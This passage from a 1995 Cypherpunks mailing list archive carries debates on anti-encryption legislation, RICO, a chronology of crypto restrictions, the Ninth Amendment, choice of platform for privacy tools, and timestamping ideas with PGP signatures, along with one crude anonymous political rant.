indicate whether the message was tampered with or not.

  If we posit a MITM, he can tamper with cyphertext =or= stegotext, but
he can't defeat the signature. I would recieve a GIF which my stego
software would turn into a file that PGP would puke on, telling me that
Someone Is Messing With My Mail.

  I would not, of course, be able to reveal this fact directly. However,
I could ask my correspondent to re-send the GIF, and when it comes out
different in EVERY SINGLE LSB, I have proof of tampering.

 * Support legislation for a waiting period on taglines.......
---
 * Monster at FAmend.Com *    





From monty.harder at famend.com  Sun Jul 16 09:04:09 1995
From: monty.harder at famend.com (MONTY HARDER)
Date: Sun, 16 Jul 95 09:04:09 PDT
Subject: DOJ Press Release, S. 974?
Message-ID: <8AD5238.000300015B.uuout@famend.com>


JY>    According to the Computer Emergency Response Team at
JY>    Carnegie Mellon University, during the past four years, the
JY>    number of reported intrusions on the Internet has increased

  In the wake of the Rimm Job, any study from CMU is suspect.


 * Bad Borg, Bad Borg:
Whatcha gon' do? Whatcha gon' do when they 'simlate you?
---
 * Monster at FAmend.Com *    





From monty.harder at famend.com  Sun Jul 16 09:04:16 1995
From: monty.harder at famend.com (MONTY HARDER)
Date: Sun, 16 Jul 95 09:04:16 PDT
Subject: Root Causes
Message-ID: <8AD5238.000300015C.uuout@famend.com>


DK> It would seem that things such as the CDA, etc, are patent violations of the
DK> Bill of Rights. As such, wouldn't the Congressrodent(s) proposing such
DK> measures be violating our civil rights, and thus be criminally liable?

  Congressional Immunity.

DK> IANAL, of course, so I'll leave it up to those on the list who are to

  IANAL, either.  But I have a thought, myself:

     [Please do not start an abortion flamefest on the list. If you want
     to argue it via Imail, I can handle that, but let's not bother the
     rest of the class, OK?]

  The Supremes found the right to have an abortion in some kind of
"penumbral" right to <BOLD> privacy </BOLD>, which in turn came from
Griswold v. Connecticut, if organic RAM serves. Given this precedent,
may we challenge anti-crypto crap such as the Grassley Bill as a
violation of the right to privacy?


 * Recursion: See "recursion".
---
 * Monster at FAmend.Com *    





From monty.harder at famend.com  Sun Jul 16 09:04:20 1995
From: monty.harder at famend.com (MONTY HARDER)
Date: Sun, 16 Jul 95 09:04:20 PDT
Subject: Free The World Web Server project.. :)
Message-ID: <8AD5238.000300015E.uuout@famend.com>


DM> however, would be unobtrusive. A web page that mails a form letter to
DM> _your_ congressperson's form-letter-readers (ie staff readers) would be
DM> much better, IMHO.

  Expecially if the form letter generated would be randomly selected
from parallel word streams.  For example:

       Dear Senator <#SENATOR>:

       I am <concerned|alarmed|frightened> by the <attacks on privacy
     rights in|glaring First Amendment violations in|fascist mentality
     of|ominous provisions of|potential for civil rights infringement
     by> SB <#BILLNO> <introduced recently| proposed|offered> by Senator
     <#ORIGINATOR>.....

  You get the idea.

  Anyone who has read MAD Magazine could put such together. As an added
bonus, use variable margin settings, and none of the letters would be
exactly the same. Appropriate Imail => FAX software on a puter in DC
(local call that way) with the phone number of the sender filled in on
the top line for ID (izzat legal?) so it doesn't look like a form letter
at all.

  The web page would generate a random letter, allow the user to edit
it, further (possibly offering the alternate phrases) before he clicks
on the [Send] button.


 * Len Buckholtz of Borg:
LB> Quoting is irrelevant.
---
 * Monster at FAmend.Com *    





From hayden at krypton.mankato.msus.edu  Sun Jul 16 09:24:54 1995
From: hayden at krypton.mankato.msus.edu (Robert A. Hayden)
Date: Sun, 16 Jul 95 09:24:54 PDT
Subject: Ack!  It's not my fault!
Message-ID: <Pine.ULT.3.91.950716112354.29821C-100000@krypton.mankato.msus.edu>


-----BEGIN PGP SIGNED MESSAGE-----

Before anybody flames me too bad, I want to poitn out that I only posted 
the PineSign script ONCE.  I don't know why it showed up multiple times.

Most weird.  

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: PGP Signed with PineSign 1.0

iQCVAwUBMAk9cDokqlyVGmCFAQFNaAQAvELOLo9wazD7Tfyl/fyg3Z4wLxdJCXSt
+O61LYzqlzx45+Y7AG3KNiW3GgZFSnJkaUT+dfSpNs7p0M24ruTGYRxnPE0r0+Nk
TrUkPCG4o3YR/azpxq/PzVp2TiOaRL3SyEaSHvNGrSj6nVGLYuosYckylzRpJp/S
WkCcAUqlKg4=
=zbEG
-----END PGP SIGNATURE-----
 
____        Robert A. Hayden      <=> Cthulhu Matata
\  /__          -=-=-=-=-         <=>          -=-=-=-=-
 \/  /  Finger for Geek Code Info <=> hayden at krypton.mankato.msus.edu
   \/   Finger for PGP Public Key <=> http://att2.cs.mankato.msus.edu/~hayden





From tcmay at sensemedia.net  Sun Jul 16 09:35:05 1995
From: tcmay at sensemedia.net (Timothy C. May)
Date: Sun, 16 Jul 95 09:35:05 PDT
Subject: RICO and Asset Forfeitures
Message-ID: <ac2e8d33170210048e56@[205.199.118.202]>


At 12:59 PM 7/16/95, Andrew Spring wrote:
>>ranked as a mobster subject to RICO.  My guess is that the intent is that
>>from one placement on an FTP server or one posting to a newsgroup, the
>>perpetrator of that heinous act will have passed his RICO qualification and
>>therefore be subject to having all he owns taken from him.
>
>RICO question:  i thought that the idea of RICO is to confiscate assets of
>racketeers that are derived from criminal activities.  PGP and remailer
>software is distributed free.  so would RICO seizures even apply (yes I
>know this doesnt' always stop the FBI)?

As I understand RICO (Racketeer-Influenced and Corrupt Organizations Act,
though the euphonious "Rico," a la South American drug kingpins, is the
real reason for the name), only the assets imputed to the illegal act can
be seized. Thus, boats, factories, houses, etc., that are imputed
(believed, claimed) to have been bought partially or wholly from funds from
illegal acts can be seized.

Civil penalties are another matter. If you're charged with distributing
something illegal and a fine of $250,000 is levied, then you may have to
sell everything you own to pay it, but it's not a RICO seizure.

--Tim May

..........................................................................
Timothy C. May         | Crypto Anarchy: encryption, digital money,
tcmay at sensemedia.net   | anonymous networks, digital pseudonyms, zero
408-728-0152           | knowledge, reputations, information markets,
Corralitos, CA         | black markets, collapse of governments.
Higher Power: 2^756839 | Public Key: PGP and MailSafe available.
"National borders are just speed bumps on the information superhighway."







From lethin at ai.mit.edu  Sun Jul 16 09:43:07 1995
From: lethin at ai.mit.edu (Rich Lethin)
Date: Sun, 16 Jul 95 09:43:07 PDT
Subject: ecm list
Message-ID: <9507161642.AA20001@toast>



It may be necessary to remove the ECM mailing list from the MIT
computers (no big surprise here).  The issue isn't the overwhelming
traffic volume on the list; rather, the concern that it might violate
some MIT regulation.

If anyone wants to take it on, please contact me ASAP.

Thanks,
Rich






From anonymous-remailer at shell.portal.com  Sun Jul 16 10:22:36 1995
From: anonymous-remailer at shell.portal.com (anonymous-remailer at shell.portal.com)
Date: Sun, 16 Jul 95 10:22:36 PDT
Subject: unix, vanguard
Message-ID: <199507161720.KAA16734@jobe.shell.portal.com>


>If you want to do something like Raph's remailer list, would you rather
>implement it on a pc running windows or with a perl script on a unix 
>box?

Not to prolong this argument, which hopefully won't turn into a lengthy OS
debate, but this argument boils down to the "users vs. developers" situation.

Sure, remailers and remailer lists are better implemented under unix, and
there may be as many as what, 50 people (developers) in the world interested
in doing this? On the other hand, several times that number of users will
access the information and actually give it value; they (users) don't need
unix at all.

Maybe I'm a market share bigot, but to me, if you want to spread crypto to
the masses, you have to do it with tools that run on the platforms the
masses use.

Who knows, perhaps in the future we'll see that the tools, programs, and
front ends run on more popular operating systems, and the relatively fewer
servers and scripts run on unix.

--
Karl L. Barrus <klbarrus at infocom.net>






From bdavis at thepoint.net  Sun Jul 16 10:31:39 1995
From: bdavis at thepoint.net (Brian Davis)
Date: Sun, 16 Jul 95 10:31:39 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
In-Reply-To: <9507142311.AA09635@tis.com>
Message-ID: <Pine.D-G.3.91.950716003841.26405B-100000@dg.thepoint.net>


On Fri, 14 Jul 1995, Carl Ellison wrote:
...
> Meanwhile, the Federal civil forfeiture fund goes to good things.  The last
> $9M (I believe it was) went to buying up AT&T DES phones to be made into
> Clipper phones.  Of course, the conversion hasn't happened yet and the DES
> phones are sitting in a warehouse someplace -- but the $9M fund went to
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Nope.  There is one right here in my office.  And it makes me feel so 
safe and secure.

Seriously, I have used it in secure mode once -- to test it.  I'd be more 
likely to use my STU-III if I really want to be secure.


> really good use, saving the world from AT&T DES.
> 
> (sarcasm off)
> 
> +--------------------------------------------------------------------------+
> |Carl M. Ellison    cme at acm.org    http://www.clark.net/pub/cme/home.html  |
> |PGP: E0414C79B5AF36750217BC1A57386478 & 61E2DE7FCB9D7984E9C8048BA63221A2  |
> |  ``Officer, officer, arrest that man!  He's whistling a dirty song.''    |
> +----------------------------------------------------------- Jean Ellison -+

EBD





From jgrubs at voxbox.norden1.com  Sun Jul 16 11:10:45 1995
From: jgrubs at voxbox.norden1.com (Jim Grubs, W8GRT)
Date: Sun, 16 Jul 95 11:10:45 PDT
Subject: Fight, or Roll Over?
Message-ID: <DyFc9c1w165w@voxbox.norden1.com>


-----BEGIN PGP SIGNED MESSAGE-----

"Perry E. Metzger" <perry at imsi.com> writes:

> > What we can do, however, is to shape the culture of the net.  That
> > culture will have to eventually be listened to by DC.
> 
> The beltway crowd doesn't log in. They ignored the petitions sent to
> Leahy for S.314 because they didn't think of the people who sent the
> petitions in as "real". I doubt they will understand the net for many
> years to come, whereas we have to stall out the NSA and company now.

We need to use e-mail/fax gateways that strip much of the e-mail headers. For
some reason, fax has become so ubiquitous in U.S. businesses (including
Congress) that it has become "mainstream" and creditable.



-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: http://norden1.com/~jim/sylvania.html

iQCVAwUBMAlVVt74r4kaz3mVAQFbRQP/dUY0tqbis9Up7sVDt6ydCpO93ZMhtSbd
nUHtXd3+FCf7Phur7w8YMMY5I/VoMCpk9NLu7j9aeYMDtyWupj+Lj9d+wlFhuWHb
bSRr7Y6xvqnbY1mHME0wgRx4FIDinudgG+n/XetaVlQHqQ68YrYsRcCmvt22j0eL
ovPoF92ECyc=
=k7LM
-----END PGP SIGNATURE-----

--
                        WebCasters(tm)
James C. Grubs                         jgrubs at voxbox.norden1.com
6817 Maplewood Avenue                         Tel.: 419-885-2697
Sylvania, Oh 43560                             Fax: 419-885-2814
   Internet consulting, HTML programing, Information brokering
 





From liberty at gate.net  Sun Jul 16 11:22:35 1995
From: liberty at gate.net (Jim Ray)
Date: Sun, 16 Jul 95 11:22:35 PDT
Subject: Root Causes
Message-ID: <199507161819.OAA06090@bb.hks.net>


-----BEGIN PGP SIGNED MESSAGE-----

<snip>

PLEASE NOTE: IANAL either [yet] But,

MONTY HARDER wrote:

>     [Please do not start an abortion flamefest on the list. If you want
>     to argue it via Imail, I can handle that, but let's not bother the
>     rest of the class, OK?]

I agree, and this post has nothing to do with that controversy [I hope].

>
>  The Supremes found the right to have an abortion in some kind of
>"penumbral" right to <BOLD> privacy </BOLD>, which in turn came from
>Griswold v. Connecticut, if organic RAM serves. Given this precedent,
>may we challenge anti-crypto crap such as the Grassley Bill as a
>violation of the right to privacy?

Good idea, but I have an idea to upset even *more* people.
First of all, has anyone else noticed how the Republicans have placed
life-and-death emphasis lately on the oft-ignored 10th Amendment.

Amendment X -- "The powers not delegated to the United States by the
Constitution, nor prohibited by it to the States, are reserved to the
States respectively, or to the people."

IMO, the Republicans will continue to do this as long as they can win
the overwhelming majority of governorships, which is for the foreseeable
future. Democrats, of course, don't like this and prefer unconstrained
federal power [preferably in the hands of someone other than Newt, though].
There is, however, another Amendment which goes beyond being oft-ignored 
to the status of being truly forgotten, without ever having been repealed.

Amendment IX -- "The enumeration in the Constitution of certain rights
shall not be construed to deny or disparage others retained by the people."

[The right to write code was among many rights NOT enumerated.]

Republicans AND Democrats ALL HATE the 9th Amendment, which is the primary
reason *I* like it so much. Various lawyers, judges, and [especially]
law professors will sputter that the 9th is "impertinent!" or "irrelevant!" 
and should be ignored, and Jim Ray is just spouting off [again] about the
slow erosion of freedom in this country. My rejoinder is "OK, if we're
supposed to ignore it, why not just REPEAL it, after all, it's just sitting
there doing nothing, cluttering up the rest of the Bill of Rights." Usually,
conversation [and, I suspect, my eventual grade] degenerates at this point.
Those C-punks not in law school, however, should keep the 9th in mind when
talking about Constitutional issues on encryption rights, if for no other
reason than to educate the public. In court, of course, I would concentrate
on the 1st. Apologies to the various lurking law professors on the list, I
am not talking about you. Also, this diatribe is mere academic speculation
and not a legal opinion and IANAL and I have been known to be wrong in the
past and I no-doubt will be wrong again in the future and most people in 
the legal profession think this is wrong so don't rely on it and your lawyer
will think you are crazy if you say this to him (so don't) and so on and
so on...
JMR
>
>
<snip>
Regards, Jim Ray
"It is dangerous to be right when the government is wrong." Voltaire
- ------------------------------------------------------------------------
PGP key Fingerprint  51 5D A2 C3 92 2C 56 BE  53 2D 9C A1 B3 50 C9 C8 
Key id. #  E9BD6D35
- ------------------------------------------------------------------------
Support the Phil Zimmermann (Author of PGP) Legal Defense Fund! 
email:  zldf at clark.net or visit http://www.netresponse.com/zldf
________________________________________________________________________

- ---
[This message has been signed by an auto-signing service.  A valid signature
means only that it has been received at the address corresponding to the
signature and forwarded.]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Gratis auto-signing service

iQBFAwUBMAlYGCoZzwIn1bdtAQFAvAF/U/0u/BjNThGjDeeOsv5CujcJcFBKf5Hx
+SsUFAwYyD5I5DWosWA0iTZesc/DO3UR
=bAZm
-----END PGP SIGNATURE-----





From banisar at epic.org  Sun Jul 16 13:05:20 1995
From: banisar at epic.org (Dave Banisar)
Date: Sun, 16 Jul 95 13:05:20 PDT
Subject: A Chronology on crypto bans
Message-ID: <v01520d00ac2f1c6c99eb@[204.91.138.82]>


Someone asked why is there such a flurry recently on banning crypto in
recent months. This is not a recent issue. There have been almost non-stop
attempts for the last 15 years.

I've been finishing up this chapter in the book Bruce Schneier and I are
writing on crypto battles. Every so often a new FOIA document floats in
from some request I made 3-4 years ago hat makes me have to revise it
again. Here
s a small chronology based on the chapter.

------

Attempts to ban encprytion 1977-1995



1977-1980 NSA Director Inman calls crypto born secret. Should be restricted.
Attempts to use Invention Secrecy Act of 1951 to patent inventions by
academic researchers. Attempts to use export control laws to limit
scientific discussion.
NSA Threates NSF over grants for crypto studies.

1981 American Council on Education committee recommends voluntary
submissions of cryto papers to NSA

1984 National Security Decision Directive 145. Gave NSA authority over all
govt crypto and computer security development.

1986 NSTISSP. Attempted to extend NSDD-145 to private sector. USe to
justify visits to LEXIS/NEXIS, Dialog, public libraries etc.

1987 Congress passes Computer Security Act. Gives crypto authority to NIST.

1989 NIST signs MOU with NSA giving back authority to NSA.  NIST starts
development of new public key system to do both signatures and key
exchange.

1990 After pressure by NSA. NIST adopts El Gamal for signatures only. NSA
secreatly designs "algorithm on a chip" for key exchange. FBI, NSA and NIST
also begin "National Cryptgraphic Review".

1991 FBI asks Senator Joseph Biden to introduce "Sense of Congress" to
recommend backdoors in all encpryption, telephone systems. Provision
removed after public outcry. Later evolves into digital telephony proposal.
October 1991, NSA, FBI, CIA meet to discuss possible legislation on
encryption.

1992 NIST memo - "FBI working on draft legislation to control and liscense
all cryptography"

1993 Clipper Proposal introduced. Interagency working group formed by
Presidential Review Directive 27. According to NSA memo on IWG "FBI
proposed legislation to authorize the FCC to regulate common carriers, PBX
operators, and  manufacturers of encryption devices available for use in
the US  to ensure such systems and devices are compatable with law
enforcement electronic surveillance interests....the interagency working
group revied proposed legislation and concluded that ....legislation to
authorize regulation of encryption product manufacturers would be
considerably more difficult [than passing the digital telephone proposal]
and required further study." 6 options were discussed including prohobiting
all other encprytion besides Clipper. The other five have been classified
"top secret".

--------

Dave


David Banisar (Banisar at epic.org)       * 202-544-9240 (tel)
Electronic Privacy Information Center  * 202-547-5482 (fax)
666 Pennsylvania Ave, SE, Suite 301    * ftp/gopher/wais cpsr.org
Washington, DC 20003                  * HTTP://epic.digicash.com/epic







From nesta at nesta.pr.mcs.net  Sun Jul 16 13:27:18 1995
From: nesta at nesta.pr.mcs.net (Nesta Stubbs)
Date: Sun, 16 Jul 95 13:27:18 PDT
Subject: Unix not the Only Place for "Vanguard" Applications
In-Reply-To: <199507152320.AA05094@tyrell.net>
Message-ID: <Pine.LNX.3.91.950715141132.1604B-100000@nesta.pr>


On Sat, 15 Jul 1995, Phil Fraering wrote:

>    Frankly, Unix fragmented into a bunch of pieces. Maybe it was because of
>    the USL-Novell-AT&T-Sun-Unix International-etc. battles (I don't even
>    recollect who was who in this battle). Maybe it was the News vs. X vs.
>    OpenLook vs. NeXTStep vs. etc. user interface battles.
> 
> Well, it looks like there will be a major Unix mainstream again
> with two branches capable of more-or-less running each other's
> binaries without too much pain: FreeBSD and Linux.
>
My sentiments in a way, you'll see some higher end PC users moving to 
this, plus the usual gammut of teenage hackers, like I was.
 
>    In any case, I expect Windows (and Windows NT) will take an ever-increasing
>    share of the market for at least the next several years. I'm hardly alone
>    in this expectation.
> 
> BTW, I hear Linux can now run Windows 3.1 in its DOS box.
> 
not completely, it can load it and some apps if you run it like you used 
to have to on a 286.  WINE is far from complete.  The thing is some major 
software compnies are actually taking initiative and making lInux native 
apps, like Wordperfect is coming out in Fall, and Matlab and Mathematica 
are either here already, or will be here in a month or so.  Alot fo 
commercial databases are coming to Linux too.

BUT, please PLEASE, let's not let this turn into a advocacy war, I hang 
out on those groups myself and get enough of them there, don't need it 
here.  I think we're all intelligent enough to realize that both platform 
bases have advantages and disadvantages.  I personally get a woody form 
anything that flips bits so I'm not about to argue.


"I regret that I have but six orifices to give you" -Nesta Stubbs
/-/ a s t e  http://www.mcs.net/~nesta/home.html Angeli Caduti Assasin






From an250888 at anon.penet.fi  Sun Jul 16 13:50:22 1995
From: an250888 at anon.penet.fi (an250888 at anon.penet.fi)
Date: Sun, 16 Jul 95 13:50:22 PDT
Subject: "Just write code"
Message-ID: <9507162034.AA28228@anon.penet.fi>


>Just write code.  For whatever platform you like writing code for.

And while you're at it, make it as platform-independent as possible.

Porting to another platform or system involves writing code, no?

----------------------------------------------------------------------------
To find out more about the anon service, send mail to help at anon.penet.fi.
If you reply to this message, your message WILL be *automatically* anonymized
and you are allocated an anon id. Read the help file to prevent this.
Please report any problems, inappropriate use etc. to admin at anon.penet.fi.





From pcw at access.digex.net  Sun Jul 16 15:19:36 1995
From: pcw at access.digex.net (Peter Wayner)
Date: Sun, 16 Jul 95 15:19:36 PDT
Subject: Mods to Dining Cryptographers: legal questions...
Message-ID: <ac2ef6f7130210049cda@[199.125.128.5]>


>I'm sorry if I was a little mysterious about my reference to
>another use or mode of a DC-net; I'd _love_ to tell the rest of
>you flat-out, and put the idea in the public domain, but I'm
>not sure I _CAN_.
>

You should investigate an idea known as the provisional patent that is
relatively new to the United States. They're supposedly shorter and
designed to give you some claim to the ideas as well as some time to
develop them enough to file a real patent. I can't give you any other
advice except to tell you that my patent agent is also curious about them
because they're new.

-Peter







From stevet at smeg.net4.io.org  Sun Jul 16 16:34:36 1995
From: stevet at smeg.net4.io.org (Steve Thompson)
Date: Sun, 16 Jul 95 16:34:36 PDT
Subject: Crisis Overload (re Electronic Racketeering)
In-Reply-To: <Chameleon.4.01.2.950715030350.tj@tjunker.compassnet.com>
Message-ID: <Pine.LNX.3.91.950716174244.1168B-100000@smeg.net4.io.org>



Wish I could be more optimistic....

On Sat, 15 Jul 1995, Bolivar Shagnasty wrote:
> Perry Metzger wrote:
> 
> >"Robert A. Hayden" writes:
> >> We've seen the enemy, that the are the 535 senators and representatives 
> >> in D.C., and the staff in the White House.  It's time to shore up our 
> >> allies and enter the battle witht he best weapons we have; information 
> >> and popular use.

[snippage]

> Would it be more productive to hire the white shoes or start another few ISPs 
> and shepherd the new users to be privacy-aware letter writers and faxers?  
> Educate your ISPs.  Any ISP that isn't political in this age is brain 
> dead and dead weight.  Any ISP that sees its political interests as somehow 
> different than those of its users (recent lobbying to shift burdens away 
> from national services and onto users, and recent AOL admissions of 
> participation in what sounded like entrapping users) is worse than brain dead 
> -- it's part of the problem.

Speaking for an ISP startup (unoficially :), we're planning to get a 
small startup going within the next few weeks.  Being the technical 
brains behind the company (at least pertaining to the Internet), and 
having a strong idealistic streak, I assure you that I, for one, will be 
exerting as much effort as I can to promote cryptographic awareness for 
the users that subscribe.

Besides running the MixMaster software, I am going to devote a local 
newsgroup to the topic and hold an ongoing tutorial/Q&A session on the 
uses of crypto software.  I'll probably be posting some messages from 
this forum there as appropriate.

I'd like to do something neat like offer mail-drop type accounts -- 
accessable via telnet/POP/IMAP -- for e$, perhaps.

Being in Canada, I think I may have a little more time to get this sort 
of thing entrenched (on my system at least) than you do in the states, 
though I suspect that Uncle Sam may not even notice the border if they 
decide to get heavy-handed.  Perhaps I'm dreaming.

I am depressed at the direction the world is heading.  The issue to me 
seems to be how bad the totalitarianism will get since I think it's 
already here.  I'd really like to be able to move to another country... 
It might buy me ten to twenty years of breathing room before the United 
States encompasses the world.

If anyone gets ahold of any tickets on a rocket off this planet, would 
they please give me a call?
 
> Bolivar

Regards,

Steve Thompson, Internet Consultant at large -- stevet at smeg.net4.io.org
=======================================================================
To the sane mind, even aggression against people is infinitely better
than aggression against infinity. And it is the chief defect of sane
society that it is boring. It is so boring that even sane people
notice it. And so, from time to time, there is a war. This is intended
to divert people's minds before they become so bored that they take to
some impersonal kind of aggressive activity -- such as research, or
asceticism, or inspiration, or something discreditable of that kind.





From merriman at arn.net  Sun Jul 16 17:13:25 1995
From: merriman at arn.net (David K. Merriman)
Date: Sun, 16 Jul 95 17:13:25 PDT
Subject: Free The World Web Server project.. :)
Message-ID: <199507170016.TAA23019@arnet.arn.net>


>  Expecially if the form letter generated would be randomly selected
>from parallel word streams.  For example:
>
>       Dear Senator <#SENATOR>:
>
>       I am <concerned|alarmed|frightened> by the <attacks on privacy
>     rights in|glaring First Amendment violations in|fascist mentality
>     of|ominous provisions of|potential for civil rights infringement
>     by> SB <#BILLNO> <introduced recently| proposed|offered> by Senator
>     <#ORIGINATOR>.....
>
>  You get the idea.
>
>  Anyone who has read MAD Magazine could put such together. As an added
>bonus, use variable margin settings, and none of the letters would be
>exactly the same. Appropriate Imail => FAX software on a puter in DC
>(local call that way) with the phone number of the sender filled in on
>the top line for ID (izzat legal?) so it doesn't look like a form letter
>at all.
>
>  The web page would generate a random letter, allow the user to edit
>it, further (possibly offering the alternate phrases) before he clicks
>on the [Send] button.
>

If someone in the DC area wants to set up such a system, I'll gladly donate
an Intel SatisFAXion 200 fax/modem, complete with manuals, etc.

This would be a Good Thing, IMHO.

Dave Merriman
This is a test (3 UUE lines) of the unconstitutional ITAR - 1/713th
of the PGP executable. See below for getting YOUR chunk! 
------------------ PGP.ZIP Part [015/713] -------------------
M=$<(&L`#*IPP",(G6(,,S,`P](<2RWU96XCW86/JBYV8A\D8 at X'HB_9H#&\X
MX'PCUB.,13B"X8`R?^J-:UB.M_`U\>[#)BS&5$0C,Y#^1CS>1`\T1QTXX6!3
M8H,),S$8G>&.WP(8IRA`-M['+`Q%&_C"">5-F%LX@<_Q$;*P'',Q$Z/AA[8M
-------------------------------------------------------------
for next chunk to export --> http://dcs.ex.ac.uk/~aba/export/







From nobody at flame.alias.net  Sun Jul 16 17:16:33 1995
From: nobody at flame.alias.net (Anonymous)
Date: Sun, 16 Jul 95 17:16:33 PDT
Subject: The Recent Flurry of Anit-Crypto Activity... Why?
In-Reply-To: <3u6oj5$fir@nntp.crl.com>
Message-ID: <199507170016.CAA19393@utopia.hacktic.nl>


from 'Buzz White': 
> 
> More to the point, the question  "Why Now?" comes to my mind.
> 
> So, I posit that this legislative swirl is an attempt to squash true "crypto
> for the masses" (via real commercial integration) before it gets out "into
> the world". 
> 
> Anybody have a better analysis of the "Why Now" part of the question?
 
Good theory, but I think the major reason is more obvious. We have 
elected "representatives", led by a complete slimeball president, that
want to usurp every bit of liberty we have. Money, soul, healthcare,
private property, you name it. The sooner they can grab it, the more
completely they can control us. Crypto, digicash, and remailers work
against their attempts, so they try to stop them. The more they want
something from us, the stronger our effort must be not to let them have
it. They think we need their "help" to live our lives, and that without 
we would be helpless. They think we're all like those pathetic people in 
LA who had no clue what to do with their welfare checks when check cashing
stores were torched during the Rod-knee King Bar-B-Q and Block Party. The
sad part is that as more and more people are absorbed into the welfare
state, fewer remain to assert our right to personal liberty and our
right "to be left alone". We're likely to lose by attrition.









From dshayer at netcom.com  Sun Jul 16 17:22:43 1995
From: dshayer at netcom.com (dshayer at netcom.com)
Date: Sun, 16 Jul 95 17:22:43 PDT
Subject: Esther Dyson in NYT
Message-ID: <v02120d01ac2f2d3ea33c@DialupEudora>


Todays (sunday 7-16-95) NYT Magazine has an excellent (IMHO) article by
Esther Dyson on why the government should not regulate the net.  Its not
written for techies like us, its written for normal non-wired people, like
our parents and our senators.

The article is clear, easy to follow, makes it points well, and refrains
from overused analogies about highways and roadkill.  So next time you're
at a loss for words arguing with some clueless offline luser about why porn
and pedophiles really aren't  rampant all over the net, show them this
article.

David


+------------------------------------------------------------------------+
|David Shayer                                 dshayer at netcom.com         |
|Sentient Software / Symantec                                            |
|"Spam is not a verb."                                                   |
+------------------------------------------------------------------------+







From monty.harder at famend.com  Sun Jul 16 17:37:45 1995
From: monty.harder at famend.com (MONTY HARDER)
Date: Sun, 16 Jul 95 17:37:45 PDT
Subject: Mods to Dining Cryptographers: legal questions...
Message-ID: <8AD5422.000300016A.uuout@famend.com>


PF> spend on software patents. I don't, and don't mean to say that _he_
PF> goes around stealing ideas from other people and patenting them.)
PF>
PF> How do I do this and protect myself from the people who do have the
PF> money to go through the intellectual property courthouse game?

  IANAL, but... Create a detatched signature certificate of your idea,
and post =that= here. Get some of us to sign it


       I, _______, a resident of _______ County, __________, do hereby
     attest that I recieved the above certificate on _____ ___,1995.

                [plaintext for non-crypto-aware folks]

and email to you. Also, make two hard copies, including hard copies of
our notarizations you recieve back . Put one of them in an envelope with
a 3.5" floppy of everything, and address the =back= to yourself. Go into
the post office, and ask the clerk to hand-cancel the envelope, so that
the cancellation goes half across the flap and the rest on the envelope.
When you get this from yourself in the mail, you put it in your safety-
deposit box or equivalent.

  This way, when you open the envelope in the presence of the Judge/Jury
you have the word of the US Postal Service that you had X idea on Y
date, not to mention the corroborrating e-signatures. If Z were to claim
authorship, you could ask Z to prove it by forging your signature on
another document. This could go a long way toward proving the value of
PGP signature to the Unwashed Masses, =and= illustrate the danger of
GACK + corrupt gummit agent (in the light of the Ruby Ridge and Waco
hearings, people will be =quite= sensitive to the fact that agents can
and do abuse their power).

  In fact, the ability for us to be able to attest to your possession of
Document X on Date Y, without any of us ever seeing X itself, is one of
the most powerful uses of digital signatures. I can see Phil Z. being
called as an expert witness, to establish the mechanism involved.  Joe
Sixpack needs to hear Dan Blather mention this on the Evening News. OK,
not Blather, but Koppel would do it. Maybe even John Stossel on 20/20.

  This is what we need to be pushing to the Luddite crowd: The very new
technology that frightens them, because they percieve it as out of their
control, brings with it new means for people to take control. Even if
you lost your case on some other grounds, it would be one of the best PR
bits for PGP I can think of.



 * Don't say "Gun Control", it's "Victim Disarmament".
---
 * Monster at FAmend.Com *    





From S0496872 at DOMINIC.BARRY.EDU  Sun Jul 16 17:53:59 1995
From: S0496872 at DOMINIC.BARRY.EDU (ENRIQUE S. IGNARRA)
Date: Sun, 16 Jul 95 17:53:59 PDT
Subject: PGP FAQ
Message-ID: <01HSY9PP2ZSI000DND@DOMINIC.BARRY.EDU>


Could someone here politely send me some email on where i could get an updated
PGP FAQ?  I have an old one for v2.3a.  I'd like to get an updated one.
But where the old one says to go, the directory no longer exists.

Thanks!

Enrique
s0496872 at dominic.barry.edu






From jgrubs at voxbox.norden1.com  Sun Jul 16 18:46:50 1995
From: jgrubs at voxbox.norden1.com (Jim Grubs, W8GRT)
Date: Sun, 16 Jul 95 18:46:50 PDT
Subject: Root Causes
Message-ID: <751c9c1w165w@voxbox.norden1.com>


-----BEGIN PGP SIGNED MESSAGE-----

liberty at gate.net (Jim Ray) writes:

> Amendment IX -- "The enumeration in the Constitution of certain rights
> shall not be construed to deny or disparage others retained by the people."
> 
> [The right to write code was among many rights NOT enumerated.]
> 

Most importantly, it includes the right to decide what the other unenumerated
rights are.....



-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: http://norden1.com/~jim/sylvania.html

iQCVAwUBMAm//N74r4kaz3mVAQHMJAP/RTmdhZc63J6XzL8FfKK6wk9RrXgcOZ4c
kZHGqYzOo0ZJKbmsugOwEjerpGsbeIUu3SzM+vrVA+BaWHLaufELSmh7AQW4/FcY
XyKv3Zu/JBBxEca+H0qbix/q433c+2r2iKJ1p8p1c8jgK/L+c66cJiTgWGMt2vPZ
XBBMaYAOIUg=
=DQyv
-----END PGP SIGNATURE-----

--
                        WebCasters(tm)
James C. Grubs                         jgrubs at voxbox.norden1.com
6817 Maplewood Avenue                         Tel.: 419-882-2697
Sylvania, Oh 43560                             Fax: 419-885-2814
   Internet consulting, HTML programing, Information brokering
 





From bdavis at thepoint.net  Sun Jul 16 19:55:38 1995
From: bdavis at thepoint.net (Brian Davis)
Date: Sun, 16 Jul 95 19:55:38 PDT
Subject: RICO and Asset Forfeitures
In-Reply-To: <ac2e8d33170210048e56@[205.199.118.202]>
Message-ID: <Pine.D-G.3.91.950716225303.13023C-100000@dg.thepoint.net>


On Sun, 16 Jul 1995, Timothy C. May wrote:

> At 12:59 PM 7/16/95, Andrew Spring wrote:
> >>ranked as a mobster subject to RICO.  My guess is that the intent is that
> >>from one placement on an FTP server or one posting to a newsgroup, the
> >>perpetrator of that heinous act will have passed his RICO qualification and
> >>therefore be subject to having all he owns taken from him.
> >
> >RICO question:  i thought that the idea of RICO is to confiscate assets of
> >racketeers that are derived from criminal activities.  PGP and remailer
> >software is distributed free.  so would RICO seizures even apply (yes I
> >know this doesnt' always stop the FBI)?
> 
> As I understand RICO (Racketeer-Influenced and Corrupt Organizations Act,
> though the euphonious "Rico," a la South American drug kingpins, is the
